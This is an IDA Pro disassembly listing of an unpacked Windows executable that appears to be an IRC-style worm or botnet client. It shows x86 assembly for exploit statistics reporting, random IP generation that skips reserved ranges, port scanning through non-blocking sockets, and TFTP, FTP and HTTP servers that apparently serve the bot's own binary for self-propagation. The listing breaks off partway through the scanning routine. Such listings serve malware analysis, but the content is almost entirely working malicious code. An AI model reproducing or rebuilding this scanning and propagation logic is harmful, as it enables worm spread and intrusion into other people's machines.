;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0816671A99BE14BC01513CDA1E2511AB

; File Name   :	u:\work\0816671a99be14bc01513cda1e2511ab_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001EBA7 ( 125863.)
; Section size in file		: 0001EBA7 ( 125863.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_408A18+4CA0p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
		push	eax
		xor	ebx, ebx
		call	sub_4145E5
		cmp	dword_42B068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_42B070


loc_401033:				; CODE XREF: sub_401000+6Bj
		mov	eax, [esi]
		push	eax
		add	ebx, eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4144B0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: sub_401000+2Bj
		push	dword_47BEF8
		call	sub_4115DB
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4144B0
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401EFF
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_408A18+45C0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	9
		call	sub_412661
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_42E620[eax*8]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset aScanScanNotAct ; "[SCAN]: Scan not active."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401EFF
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_401B9D+52p

var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_94		= byte ptr  9Ch
arg_114		= byte ptr  11Ch
arg_194		= dword	ptr  19Ch
arg_1B4		= dword	ptr  1BCh
arg_1BC		= dword	ptr  1C4h
arg_1C0		= dword	ptr  1C8h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_1B4]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4014F1
		imul	eax, 3Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_42B074[eax], ebx
		push	esi
		jz	loc_4013DF
		push	5
		call	sub_412661
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		mov	eax, dword_42BEBC
		push	edi
		push	104h
		mov	edi, offset dword_42FC34
		push	edi
		push	ebx
		mov	dword_42FE44, eax
		mov	dword_42FE40, ebx
		call	ds:dword_420010	; GetModuleFileNameA
		push	103h
		push	offset byte_42BF44
		mov	esi, offset dword_42FD38
		push	esi
		call	sub_414670
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42FC30, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42FEC8, eax
		push	7Fh
		jnz	short loc_4011F4
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42FE48
		call	sub_414670
		mov	dword_42FECC, 1
		jmp	short loc_40120B
; ---------------------------------------------------------------------------


loc_4011F4:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42FE48
		call	sub_414670
		mov	dword_42FECC, ebx


loc_40120B:				; CODE XREF: sub_401141+B1j
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42FE44
		lea	eax, [ebp+var_204]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	dword_42FE3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42FC30
		push	offset sub_411FA9
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, dword_42FE3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	loc_401327
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40128A:				; CODE XREF: sub_401141+1EEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401EFF
		pop	ecx
		call	ds:dword_420004	; GetTickCount
		xor	edx, edx
		mov	ecx, 0F82Fh
		div	ecx
		push	104h
		mov	edi, offset dword_42F98C
		push	edi
		push	ebx
		mov	dword_42FB98, ebx
		add	edx, 400h
		mov	dword_42FB9C, edx
		call	ds:dword_420010	; GetModuleFileNameA
		push	103h
		push	offset byte_42BF44
		mov	esi, offset dword_42FA90
		push	esi
		call	sub_414670
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42F988, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42FC20, eax
		push	7Fh
		jnz	short loc_401334
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42FBA0
		call	sub_414670
		mov	dword_42FC24, 1
		jmp	short loc_40134B
; ---------------------------------------------------------------------------


loc_40131F:				; CODE XREF: sub_401141+1ECj
		push	32h
		call	ds:dword_420000	; Sleep


loc_401327:				; CODE XREF: sub_401141+128j
		cmp	dword_42FED0, ebx
		jz	short loc_40131F
		jmp	loc_40128A
; ---------------------------------------------------------------------------


loc_401334:				; CODE XREF: sub_401141+1BFj
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42FBA0
		call	sub_414670
		mov	dword_42FC24, ebx


loc_40134B:				; CODE XREF: sub_401141+1DCj
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42FB9C
		push	dword_42F988
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aFtpServerStart ; "[FTP]: Server	started	on: %s:%d, File: "...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+var_204]
		push	6
		push	eax
		call	sub_412471
		add	esp, 24h
		mov	dword_42FB94, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42F988
		push	offset sub_403C3B
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, dword_42FB94
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		pop	edi
		jnz	short loc_4013D2
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aFtpFailedToSta ; "[FTP]: Failed	to start server, error:	<"...
		jmp	loc_4014D3
; ---------------------------------------------------------------------------


loc_4013CA:				; CODE XREF: sub_401141+297j
		push	32h
		call	ds:dword_420000	; Sleep


loc_4013D2:				; CODE XREF: sub_401141+276j
		cmp	dword_42FC28, ebx
		jz	short loc_4013CA
		jmp	loc_4014E2
; ---------------------------------------------------------------------------


loc_4013DF:				; CODE XREF: sub_401141+25j
		cmp	dword_42B078[eax], ebx
		jz	loc_4014EF
		push	4
		call	sub_412661
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		push	104h
		mov	esi, offset dword_42F864
		push	esi
		push	ebx
		call	ds:dword_420010	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_414640
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40141D
		mov	[eax], bl


loc_40141D:				; CODE XREF: sub_401141+2D8j
		mov	eax, dword_42BEC0
		mov	dword_42F968, eax
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42F5DC
		mov	dword_42F97C, ebx
		call	sub_4145E5
		mov	eax, [ebp+arg_194]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_1BC]
		push	esi
		push	dword_42F968
		mov	dword_42F974, ecx
		mov	ecx, [ebp+arg_1C0]
		push	eax
		mov	dword_42F5D8, eax
		mov	dword_42F978, ecx
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_412471
		add	esp, 20h


loc_401495:				; DATA XREF: .data:off_42CC10o
					; .data:off_42D4C8o
		mov	dword_42F970, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42F5D8
		push	offset sub_404F24
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, dword_42F970
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	short loc_4014FB
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...


loc_4014D3:				; CODE XREF: sub_401141+284j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_4014E2:				; CODE XREF: sub_401141+299j
					; sub_401141+3C2j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_4014EF:				; CODE XREF: sub_401141+35j
					; sub_401141+2A4j ...
		pop	esi
		pop	ebx

locret_4014F1:				; CODE XREF: sub_401141+12j
		leave
		retn
; ---------------------------------------------------------------------------


loc_4014F3:				; CODE XREF: sub_401141+3C0j
		push	32h
		call	ds:dword_420000	; Sleep


loc_4014FB:				; CODE XREF: sub_401141+384j
		cmp	dword_42F984, ebx
		jz	short loc_4014F3
		jmp	short loc_4014E2
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================



sub_401505	proc near		; CODE XREF: sub_401967:loc_4019C9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	esi, ds:42E620h[esi*8]
		push	dword ptr [esi]
		call	dword_4358B8	; ntohl
		inc	eax
		push	eax
		call	dword_43590C	; ntohl
		mov	[esi], eax
		pop	esi
		retn
sub_401505	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_401525	proc near		; CODE XREF: sub_4017F1+71p

var_E4		= word ptr -0E4h
var_E2		= word ptr -0E2h
var_E0		= word ptr -0E0h
var_DE		= word ptr -0DEh
var_DC		= word ptr -0DCh
var_DA		= word ptr -0DAh
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= word ptr -0C4h
var_C2		= word ptr -0C2h
var_C0		= word ptr -0C0h
var_BE		= word ptr -0BEh
var_BC		= word ptr -0BCh
var_BA		= word ptr -0BAh
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= word ptr -0A0h
var_9E		= word ptr -9Eh
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= word ptr -8Ch
var_8A		= word ptr -8Ah
var_88		= word ptr -88h
var_86		= word ptr -86h
var_84		= word ptr -84h
var_82		= word ptr -82h
var_80		= word ptr -80h
var_7E		= word ptr -7Eh
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= word ptr -70h
var_6E		= word ptr -6Eh
var_6C		= word ptr -6Ch
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0E4h
		xor	eax, eax
		mov	[ebp+74h+var_E4], ax
		mov	[ebp+74h+var_E2], 1
		mov	[ebp+74h+var_E0], 2
		mov	[ebp+74h+var_DE], 5
		mov	[ebp+74h+var_DC], 7
		mov	[ebp+74h+var_DA], 0Bh
		mov	[ebp+74h+var_D8], 17h
		mov	[ebp+74h+var_D6], 1Bh
		mov	[ebp+74h+var_D4], 1Fh
		mov	[ebp+74h+var_D2], 24h
		mov	[ebp+74h+var_D0], 25h
		mov	[ebp+74h+var_CE], 27h
		mov	[ebp+74h+var_CC], 29h
		mov	[ebp+74h+var_CA], 2Ah
		mov	[ebp+74h+var_C8], 31h
		mov	[ebp+74h+var_C6], 32h
		mov	[ebp+74h+var_C4], 49h
		mov	[ebp+74h+var_C2], 4Ah
		mov	[ebp+74h+var_C0], 4Bh
		mov	[ebp+74h+var_BE], 4Ch
		mov	[ebp+74h+var_BC], 4Dh
		mov	[ebp+74h+var_BA], 4Eh
		mov	[ebp+74h+var_B8], 4Fh
		mov	[ebp+74h+var_B6], 59h
		mov	[ebp+74h+var_B4], 5Ah
		mov	[ebp+74h+var_B2], 5Bh
		mov	[ebp+74h+var_B0], 5Ch
		mov	[ebp+74h+var_AE], 5Dh
		mov	[ebp+74h+var_AC], 5Eh
		mov	[ebp+74h+var_AA], 5Fh
		mov	[ebp+74h+var_A8], 60h
		mov	[ebp+74h+var_A6], 61h
		mov	[ebp+74h+var_A4], 62h
		mov	[ebp+74h+var_A2], 63h
		mov	[ebp+74h+var_A0], 64h
		mov	[ebp+74h+var_9E], 65h
		mov	[ebp+74h+var_9C], 66h
		mov	[ebp+74h+var_9A], 67h
		mov	[ebp+74h+var_98], 68h
		mov	[ebp+74h+var_96], 69h
		mov	[ebp+74h+var_94], 6Ah
		mov	[ebp+74h+var_92], 6Bh
		mov	[ebp+74h+var_90], 6Ch
		mov	[ebp+74h+var_8E], 6Dh
		mov	[ebp+74h+var_8C], 6Eh
		mov	[ebp+74h+var_8A], 6Fh
		mov	[ebp+74h+var_88], 70h
		mov	[ebp+74h+var_86], 71h
		mov	[ebp+74h+var_84], 72h
		mov	[ebp+74h+var_82], 73h
		mov	[ebp+74h+var_80], 74h
		mov	[ebp+74h+var_7E], 75h
		mov	[ebp+74h+var_7C], 76h
		mov	[ebp+74h+var_7A], 77h
		mov	[ebp+74h+var_78], 78h
		mov	[ebp+74h+var_76], 79h
		mov	[ebp+74h+var_74], 7Ah
		mov	[ebp+74h+var_72], 7Bh
		mov	[ebp+74h+var_70], 7Ch
		mov	[ebp+74h+var_6E], 7Dh
		mov	[ebp+74h+var_6C], 7Eh
		mov	[ebp+74h+var_6A], 7Fh
		mov	[ebp+74h+var_68], 0ADh
		mov	[ebp+74h+var_66], 0AEh
		mov	[ebp+74h+var_64], 0AFh
		mov	[ebp+74h+var_62], 0B0h
		mov	[ebp+74h+var_60], 0B1h
		mov	[ebp+74h+var_5E], 0B2h
		mov	[ebp+74h+var_5C], 0B3h
		mov	[ebp+74h+var_5A], 0B4h
		mov	[ebp+74h+var_58], 0B5h
		mov	[ebp+74h+var_56], 0B6h
		mov	[ebp+74h+var_54], 0B7h
		mov	[ebp+74h+var_52], 0B8h
		mov	[ebp+74h+var_50], 0B9h
		mov	[ebp+74h+var_4E], 0BAh
		mov	[ebp+74h+var_4C], 0BBh
		mov	[ebp+74h+var_4A], 0BDh
		mov	[ebp+74h+var_48], 0BEh
		mov	[ebp+74h+var_46], 0C5h
		mov	[ebp+74h+var_44], 0DFh
		mov	[ebp+74h+var_42], 0E0h
		mov	[ebp+74h+var_40], 0E1h
		mov	[ebp+74h+var_3E], 0E2h
		mov	[ebp+74h+var_3C], 0E3h
		mov	[ebp+74h+var_3A], 0E4h
		mov	[ebp+74h+var_38], 0E5h
		mov	[ebp+74h+var_36], 0E6h
		mov	[ebp+74h+var_34], 0E7h
		mov	[ebp+74h+var_32], 0E8h
		mov	[ebp+74h+var_30], 0E9h
		mov	[ebp+74h+var_2E], 0EAh
		mov	[ebp+74h+var_2C], 0EBh
		mov	[ebp+74h+var_2A], 0ECh
		mov	[ebp+74h+var_28], 0EDh
		mov	[ebp+74h+var_26], 0EEh
		mov	[ebp+74h+var_24], 0EFh
		mov	[ebp+74h+var_22], 0F0h
		mov	[ebp+74h+var_20], 0F1h
		mov	[ebp+74h+var_1E], 0F2h
		mov	[ebp+74h+var_1C], 0F3h
		mov	[ebp+74h+var_1A], 0F4h
		mov	[ebp+74h+var_18], 0F5h
		mov	[ebp+74h+var_16], 0F6h
		mov	[ebp+74h+var_14], 0F7h
		mov	[ebp+74h+var_12], 0F8h
		mov	[ebp+74h+var_10], 0F9h
		mov	[ebp+74h+var_E], 0FAh
		mov	[ebp+74h+var_C], 0FBh
		mov	[ebp+74h+var_A], 0FCh
		mov	[ebp+74h+var_8], 0FDh
		mov	[ebp+74h+var_6], 0FEh
		mov	[ebp+74h+var_4], 0FFh


loc_4017D6:				; CODE XREF: sub_401525+2BFj
		movsx	ecx, [ebp+eax*2+74h+var_E4]
		cmp	[ebp+74h+arg_0], ecx
		jz	short loc_4017ED
		inc	eax
		cmp	eax, 71h
		jb	short loc_4017D6
		xor	al, al


loc_4017E8:				; CODE XREF: sub_401525+2CAj
		add	ebp, 74h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4017ED:				; CODE XREF: sub_401525+2B9j
		mov	al, 1
		jmp	short loc_4017E8
sub_401525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017F1	proc near		; CODE XREF: sub_401967+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		lea	ecx, [eax+1]


loc_40180D:				; CODE XREF: sub_4017F1+21j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40180D
		sub	eax, ecx
		cmp	eax, 0Fh
		jbe	short loc_401822
		xor	eax, eax
		jmp	loc_4018C7
; ---------------------------------------------------------------------------


loc_401822:				; CODE XREF: sub_4017F1+28j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_4147C3
		add	esp, 18h
		cmp	[ebp+var_4], edi
		jnz	short loc_40186C
		call	sub_4147A1
		mov	esi, 0FFh
		jmp	short loc_401859
; ---------------------------------------------------------------------------


loc_401854:				; CODE XREF: sub_4017F1+79j
		call	sub_4147A1


loc_401859:				; CODE XREF: sub_4017F1+61j
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		mov	[ebp+var_4], edx
		call	sub_401525
		test	al, al
		pop	ecx
		jnz	short loc_401854


loc_40186C:				; CODE XREF: sub_4017F1+55j
		cmp	[ebp+var_C], edi
		mov	esi, 100h
		jnz	short loc_401883
		call	sub_4147A1
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_C], edx


loc_401883:				; CODE XREF: sub_4017F1+83j
		cmp	[ebp+var_8], edi
		jnz	short loc_401893
		call	sub_4147A1
		cdq
		idiv	esi
		mov	[ebp+var_8], edx


loc_401893:				; CODE XREF: sub_4017F1+95j
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		pop	esi
		jnz	short loc_4018A9
		call	sub_4147A1
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		inc	edx


loc_4018A9:				; CODE XREF: sub_4017F1+A8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	edx, [ebp+var_C]
		shl	edx, 8
		add	eax, edx
		mov	dword_42E620[ecx*8], eax


loc_4018C7:				; CODE XREF: sub_4017F1+2Cj
		pop	edi
		leave
		retn
sub_4017F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401967+A9p
					; sub_4039C6+2Cp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4357E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4018F3
		xor	eax, eax
		jmp	short loc_401962
; ---------------------------------------------------------------------------


loc_4018F3:				; CODE XREF: sub_4018CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_435934	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43578C	; ioctlsocket
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4357A0	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43588C	; select
		push	esi
		mov	edi, eax
		call	dword_4358F4	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_401962:				; CODE XREF: sub_4018CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401967	proc near		; DATA XREF: sub_401B9D+144o

var_3B0		= dword	ptr -3B0h
var_394		= dword	ptr -394h
var_390		= byte ptr -390h
var_380		= byte ptr -380h
var_300		= dword	ptr -300h
var_2FC		= byte ptr -2FCh
var_27C		= byte ptr -27Ch
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_254		= byte ptr -254h
var_1D4		= byte ptr -1D4h
var_1C4		= byte ptr -1C4h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1D4]
		rep movsd
		mov	edi, [ebp+var_2C]
		mov	dword ptr [eax+1CCh], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], eax
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		mov	ebx, edi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_401B79
; ---------------------------------------------------------------------------


loc_4019B3:				; CODE XREF: sub_401967+220j
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4019C9
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_4017F1
		pop	ecx
		jmp	short loc_4019CE
; ---------------------------------------------------------------------------


loc_4019C9:				; CODE XREF: sub_401967+51j
		call	sub_401505


loc_4019CE:				; CODE XREF: sub_401967+60j
		pop	ecx
		push	[ebp+arg_0]
		mov	esi, eax
		push	dword_436684[ebx]
		push	[ebp+var_3C]
		push	esi
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, dword_436480[ebx]
		push	eax
		call	sub_4145E5
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	esi
		call	sub_4018CA
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_401B6E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_401AA2
		push	offset dword_42F5C0
		call	ds:dword_42001C	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	esi
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_401A84
